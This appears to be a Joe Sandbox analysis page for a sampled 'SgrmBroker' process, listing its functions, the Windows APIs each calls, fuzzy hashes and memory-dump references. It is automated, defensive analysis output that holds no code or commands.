Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap$AttributesFile
String ID:
API String ID: 3036504266-0
Opcode ID: 711160d68c01a0a94b1d0b0fe4e9dd2eddc9c53794f6f8bcfee0a48aa784fba0
Instruction ID: a6463e98822af2870a6fa99ee44f42d2a95bd7eff0fec6202eeac08008b73f0f
Opcode Fuzzy Hash: 711160d68c01a0a94b1d0b0fe4e9dd2eddc9c53794f6f8bcfee0a48aa784fba0
Instruction Fuzzy Hash: F3315032619E4281EA50DF46E98027DA7A1FF88BE0F584132EF9D877A5DF3CD4A58700

Function 00007FF6D9DE5CA0 Relevance: 4.6, APIs: 3, Instructions: 79COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(?,00007FF6D9DC98F9), ref: 00007FF6D9DE5D1C
GetLastError.KERNEL32(?,00007FF6D9DC98F9), ref: 00007FF6D9DE5D24

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: AddressErrorLastWait
String ID:
API String ID: 1574541344-0
Opcode ID: 906d77ec4609f9c89403226676852f1871326fbcd733ffda98eb71f3acd58e0b
Instruction ID: 5e48b8d69df8809eb8b2f04930dd0451a491aa41777db65e1181474b9a1f5f5b
Opcode Fuzzy Hash: 906d77ec4609f9c89403226676852f1871326fbcd733ffda98eb71f3acd58e0b
Instruction Fuzzy Hash: 61210532F2C94286FE658F55986567DA790EB80788F148236EE8ECB694DF3CD452C700

Function 00007FF6D9CF1000 Relevance: 3.1, APIs: 2, Instructions: 119memoryCOMMON

Download Yara Rule

APIs

GetErrorInfo.OLEAUT32 ref: 00007FF6D9CF10D8
HeapFree.KERNEL32 ref: 00007FF6D9CF11D3

Part of subcall function 00007FF6D9CF1680: RtlReAllocateHeap.NTDLL ref: 00007FF6D9CF17C9
Part of subcall function 00007FF6D9CF1680: GetErrorInfo.OLEAUT32 ref: 00007FF6D9CF17F4

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ErrorHeapInfo$AllocateFree
String ID:
API String ID: 616119989-0
Opcode ID: 14512c9256ce93294a77ff1d72d43d30a4d10f785fe9ef1d73284d1a9dbc45b0
Instruction ID: 63c284c4c03428e9843e4f57856c90d414ae83676d210d45c407bcc729932639
Opcode Fuzzy Hash: 14512c9256ce93294a77ff1d72d43d30a4d10f785fe9ef1d73284d1a9dbc45b0
Instruction Fuzzy Hash: C3513C22A1DBC586E7618F29E0503BEB7B0FB95784F049126EBC982A55DF7CE194CB00

Function 00007FF6D9DCF260 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

CommandLineToArgvW.SHELL32(000000B1,00000003,?,?,00000000,?), ref: 00007FF6D9DCF27E
LocalFree.KERNEL32 ref: 00007FF6D9DCF33B

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ArgvCommandFreeLineLocal
String ID:
API String ID: 1203019955-0
Opcode ID: 4525067bc7c2f5b3cd31977544e1d12bd885af8047d75d9ac125cc80de0722f7
Instruction ID: d9d6135d88e95b3ff9e15b09e0b68a2a5482fab62bf2fb1ba4389a1acff0434c
Opcode Fuzzy Hash: 4525067bc7c2f5b3cd31977544e1d12bd885af8047d75d9ac125cc80de0722f7
Instruction Fuzzy Hash: 8E31F423A18F4181E6609F15B4003AEA7A0F7897E8F544326FE9D46B95DF3CE195C700

Function 00007FF6D9DC9D80 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000004,00000000,00007FF6D9DE13D3,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00007FF6D9DC9DAD

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d329bc0e64fd8a024a668f78104d430894fac2d2b05c6bd576099672412e579f
Instruction ID: 9da97949c3b3a1aa797fa23dd28a3562fcfc767278a9e19f1259aed437ae09f6
Opcode Fuzzy Hash: d329bc0e64fd8a024a668f78104d430894fac2d2b05c6bd576099672412e579f
Instruction Fuzzy Hash: 52119362B1EE5182FF599F22A94437C62956F1CB90F58413BD90EC77C9DF3CA4728200

Function 00007FF6D9DD99C4 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6D9DD9A19

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 139c110e512aa45cd99778754ca668d349db15151d8707a6c8d56c6a4a81640d
Instruction ID: 41e627328e887c160779b5af6df2352ab9bca35a549ef3ead27f9edc1e5fd8fe
Opcode Fuzzy Hash: 139c110e512aa45cd99778754ca668d349db15151d8707a6c8d56c6a4a81640d
Instruction Fuzzy Hash: 98F09049B5BB0745FE955FA299413BD02905FC9B80F4C7633C90ED63D1EE2EE4A04A10

Non-executed Functions

Function 00007FF6D9CF1530 Relevance: 48.1, APIs: 32, Instructions: 93clipboardsleepCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF6D9CF1539
GetLastError.KERNEL32 ref: 00007FF6D9CF1547
Sleep.KERNEL32 ref: 00007FF6D9CF1550
OpenClipboard.USER32 ref: 00007FF6D9CF1558
GetLastError.KERNEL32 ref: 00007FF6D9CF1566
Sleep.KERNEL32 ref: 00007FF6D9CF156F
OpenClipboard.USER32 ref: 00007FF6D9CF1577
GetLastError.KERNEL32 ref: 00007FF6D9CF1585
Sleep.KERNEL32 ref: 00007FF6D9CF158E
OpenClipboard.USER32 ref: 00007FF6D9CF1596
GetLastError.KERNEL32 ref: 00007FF6D9CF15A4
Sleep.KERNEL32 ref: 00007FF6D9CF15AD
OpenClipboard.USER32 ref: 00007FF6D9CF15B5
GetLastError.KERNEL32 ref: 00007FF6D9CF15C3
Sleep.KERNEL32 ref: 00007FF6D9CF15CC
OpenClipboard.USER32 ref: 00007FF6D9CF15D4
GetLastError.KERNEL32 ref: 00007FF6D9CF15E2
Sleep.KERNEL32 ref: 00007FF6D9CF15EB
OpenClipboard.USER32 ref: 00007FF6D9CF15F3
GetLastError.KERNEL32 ref: 00007FF6D9CF15FD
Sleep.KERNEL32 ref: 00007FF6D9CF1606
OpenClipboard.USER32 ref: 00007FF6D9CF160E
GetLastError.KERNEL32 ref: 00007FF6D9CF1618
Sleep.KERNEL32 ref: 00007FF6D9CF1621
OpenClipboard.USER32 ref: 00007FF6D9CF1629
GetLastError.KERNEL32 ref: 00007FF6D9CF1633
Sleep.KERNEL32 ref: 00007FF6D9CF163C
OpenClipboard.USER32 ref: 00007FF6D9CF1644
GetLastError.KERNEL32 ref: 00007FF6D9CF164E
Sleep.KERNEL32 ref: 00007FF6D9CF1657
OpenClipboard.USER32 ref: 00007FF6D9CF165F
GetLastError.KERNEL32 ref: 00007FF6D9CF1669

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ClipboardErrorLastOpen$Sleep
String ID:
API String ID: 2345428929-0
Opcode ID: 8bc31798e9080558fc23db62d35d874079c8e036ac0fb986cffdfbbb8a71fc80
Instruction ID: 728f3bf4fcc7d22a91cd466df5d62aeafade9e9f3a09776ed5c02181ccff7f70
Opcode Fuzzy Hash: 8bc31798e9080558fc23db62d35d874079c8e036ac0fb986cffdfbbb8a71fc80
Instruction Fuzzy Hash: 02317F30F09A5252FBA87F71586A27E62B4AF14F8AF51893FC46BC5092DE3DE8354640

Function 00007FF6D9DC6400 Relevance: 24.4, APIs: 16, Instructions: 399COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF6D9DC8636
GetFullPathNameW.KERNEL32 ref: 00007FF6D9DC8648
GetLastError.KERNEL32 ref: 00007FF6D9DC8654
GetLastError.KERNEL32 ref: 00007FF6D9DC866D

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID:
API String ID: 2482867836-0
Opcode ID: b8b47616b5fafbadda312a8da6dec6732172c27f25d7d9e32547bde4186f5e0b
Instruction ID: f7f4374b5c28d62013cd572725fa36748ba1b4af376d5c98b230fad30e03697f
Opcode Fuzzy Hash: b8b47616b5fafbadda312a8da6dec6732172c27f25d7d9e32547bde4186f5e0b
Instruction Fuzzy Hash: C6F19E66A0CB8281EB509F12E44477EA7A0FB48BD4F648636EE9D937D5DF7CD4A18300

Function 00007FF6D9D114F0 Relevance: 21.6, APIs: 17, Instructions: 389memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9D1168B
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D12F84
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D12F9E
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D12FB8
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D12FD2
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D12FEC
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D13009
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D13029
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D13049
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D13069
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D13089
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D130A9
HeapFree.KERNEL32(?,?,?,?), ref: 00007FF6D9D130C9

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: bcd8e89032c6f3aa42770fb0e3e54d671988c5cbba16f515c2bfdacb64ea8e05
Instruction ID: 9224973af7d16e2b3d1d1cf28cf5d060468ec115a425a6d92aaf8d7723c55179
Opcode Fuzzy Hash: bcd8e89032c6f3aa42770fb0e3e54d671988c5cbba16f515c2bfdacb64ea8e05
Instruction Fuzzy Hash: DE127F72A18F8182E7659F12E4443BD67A1FB89B94F098236DB9D97791CF3CE4A5C300

Function 00007FF6D9D34020 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 302memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9D3406D
HeapFree.KERNEL32 ref: 00007FF6D9D34191
HeapFree.KERNEL32 ref: 00007FF6D9D34235
HeapFree.KERNEL32 ref: 00007FF6D9D3425D
WideCharToMultiByte.KERNEL32 ref: 00007FF6D9D343A6
GetLastError.KERNEL32 ref: 00007FF6D9D343E5

Strings

<Truncat, xrefs: 00007FF6D9D34460
cess, xrefs: 00007FF6D9D344BA
ted>, xrefs: 00007FF6D9D3446D

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap$ByteCharErrorLastMultiWide
String ID: <Truncat$cess$ted>
API String ID: 3126804124-3772979034
Opcode ID: ea250121c60aa8c732f84ba9c4cbc7e749f0c9e2dab2be8177f80699b916e56a
Instruction ID: 46c583f4d4fe483b8f5959e12e62ba6f20027980b913976bd3a8aa8ecd682f8f
Opcode Fuzzy Hash: ea250121c60aa8c732f84ba9c4cbc7e749f0c9e2dab2be8177f80699b916e56a
Instruction Fuzzy Hash: 56C1E122A08F8181E6518F25A8003BD6760FF98BA5F54C332DEAD977D5DF7CE5A28300

Function 00007FF6D9CF4970 Relevance: 13.8, APIs: 11, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9CF49AB
HeapFree.KERNEL32 ref: 00007FF6D9CF49D3
HeapFree.KERNEL32 ref: 00007FF6D9CF49F3
HeapFree.KERNEL32 ref: 00007FF6D9CF4A13
HeapFree.KERNEL32 ref: 00007FF6D9CF4A33
HeapFree.KERNEL32 ref: 00007FF6D9CF4A53
HeapFree.KERNEL32 ref: 00007FF6D9CF4A73
HeapFree.KERNEL32 ref: 00007FF6D9CF4A93
HeapFree.KERNEL32 ref: 00007FF6D9CF4AB7
HeapFree.KERNEL32 ref: 00007FF6D9CF4AD7

Part of subcall function 00007FF6D9CF5C80: HeapFree.KERNEL32(?,00000003,?,?,?,00000000,00007FF6D9CF4991,?,?,?), ref: 00007FF6D9CF5CAC

HeapFree.KERNEL32 ref: 00007FF6D9CF4B10

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 8de49d5a1d2c016be2b0b26fbe25cf20a42dcd9b760b90ff907c633dc26d1d6c
Instruction ID: b249d42b615f1f1ab38a7ef884addf19499bc468c75625c0b53df286c7d82ff8
Opcode Fuzzy Hash: 8de49d5a1d2c016be2b0b26fbe25cf20a42dcd9b760b90ff907c633dc26d1d6c
Instruction Fuzzy Hash: 10512765909A4282F7689F62E4C83BE63B1FF88B99F444437D75E86290CF3CE4A5D304

Function 00007FF6D9DC7230 Relevance: 12.2, APIs: 8, Instructions: 215threadmemoryCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNEL32 ref: 00007FF6D9DC7284
HeapFree.KERNEL32 ref: 00007FF6D9DC72FD
InitializeProcThreadAttributeList.KERNEL32 ref: 00007FF6D9DC7315
UpdateProcThreadAttribute.KERNEL32 ref: 00007FF6D9DC7379

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: AttributeProcThread$InitializeList$FreeHeapUpdate
String ID:
API String ID: 3328213773-0
Opcode ID: c651c8d6d05eec1ed23ec611c657b3822acaf404f4350c48edd8b64d2bc28124
Instruction ID: 597b93786fdf3248651b8e9cd160f2f61b4234d13a622f6c479e53e1a4d500a3
Opcode Fuzzy Hash: c651c8d6d05eec1ed23ec611c657b3822acaf404f4350c48edd8b64d2bc28124
Instruction Fuzzy Hash: 2A81E562B1DE9681EA558F6695047BE67A1FF4CBE4F548332ED6E833D0DE3CE4618200

Function 00007FF6D9DB9FF0 Relevance: 9.2, APIs: 6, Instructions: 179filenativesynchronizationCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001,?,00007FF6D9DB9EAE), ref: 00007FF6D9DBA00A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001,?,00007FF6D9DB9EAE), ref: 00007FF6D9DBA023

Part of subcall function 00007FF6D9DBA490: HeapFree.KERNEL32 ref: 00007FF6D9DBA519
Part of subcall function 00007FF6D9DBA490: HeapFree.KERNEL32 ref: 00007FF6D9DBA52E

Part of subcall function 00007FF6D9DBA540: HeapFree.KERNEL32 ref: 00007FF6D9DBA58A

GetConsoleMode.KERNEL32 ref: 00007FF6D9DBA066
NtWriteFile.NTDLL ref: 00007FF6D9DBA103
WaitForSingleObject.KERNEL32 ref: 00007FF6D9DBA118
RtlNtStatusToDosError.NTDLL ref: 00007FF6D9DBA1B9

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap$Error$ConsoleFileHandleLastModeObjectSingleStatusWaitWrite
String ID:
API String ID: 1829088854-0
Opcode ID: 8e87be5dfc692f55cab4f3e7dcfc212c7cba7f4718a063207e5ec0de3b20204e
Instruction ID: 1ae4ec40af5c8ad7263ba689fcde715cee7cc3247f429d710c82cef66beb6d13
Opcode Fuzzy Hash: 8e87be5dfc692f55cab4f3e7dcfc212c7cba7f4718a063207e5ec0de3b20204e
Instruction Fuzzy Hash: 6671E661A0CB8281FB608F25A6503BD67F1EB95798F448233DA9DC36D9DE7DE0A4C700

Function 00007FF6D9DD8D8C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6D9DD8E05
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6D9DD8E1D
RtlVirtualUnwind.KERNEL32 ref: 00007FF6D9DD8E58
IsDebuggerPresent.KERNEL32 ref: 00007FF6D9DD8E91
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6D9DD8E9B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6D9DD8EA6

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 24ec87278d5b50c55761d5e5a74ac69a402749e9621c205fbc0bc0ec95ba6e9c
Instruction ID: d78b3f15a8eca5d538ee8be8940c202f29c0575af5bf406d52337a1920acc978
Opcode Fuzzy Hash: 24ec87278d5b50c55761d5e5a74ac69a402749e9621c205fbc0bc0ec95ba6e9c
Instruction Fuzzy Hash: 47315236618F8186DB60CF25E8802BE73A4FB89754F540636EA9D83B99DF3CD565CB00

Function 00007FF6D9DBF6C0 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00007FF6D9DBF6C4

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: DebuggerPresent
String ID:
API String ID: 1347740429-0
Opcode ID: 73192da0503f5c78fd08333144c87677a945f3e8c40e8de4ea1893f38325c44d
Instruction ID: 3f102b20f07d433733eb1b513f5e0f8f2f2276227df4c69620790eb23ecffd0e
Opcode Fuzzy Hash: 73192da0503f5c78fd08333144c87677a945f3e8c40e8de4ea1893f38325c44d
Instruction Fuzzy Hash: 4DB01200F16403C2E6483F360C8613D01702F44B40FA04432C518C0160CD2C917B4620

Function 00007FF6D9CF46F0 Relevance: 12.7, APIs: 10, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9CF4714
HeapFree.KERNEL32 ref: 00007FF6D9CF472E
HeapFree.KERNEL32 ref: 00007FF6D9CF4783
HeapFree.KERNEL32 ref: 00007FF6D9CF486B
HeapFree.KERNEL32 ref: 00007FF6D9CF4885
HeapFree.KERNEL32 ref: 00007FF6D9CF48A2
HeapFree.KERNEL32 ref: 00007FF6D9CF48C2

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

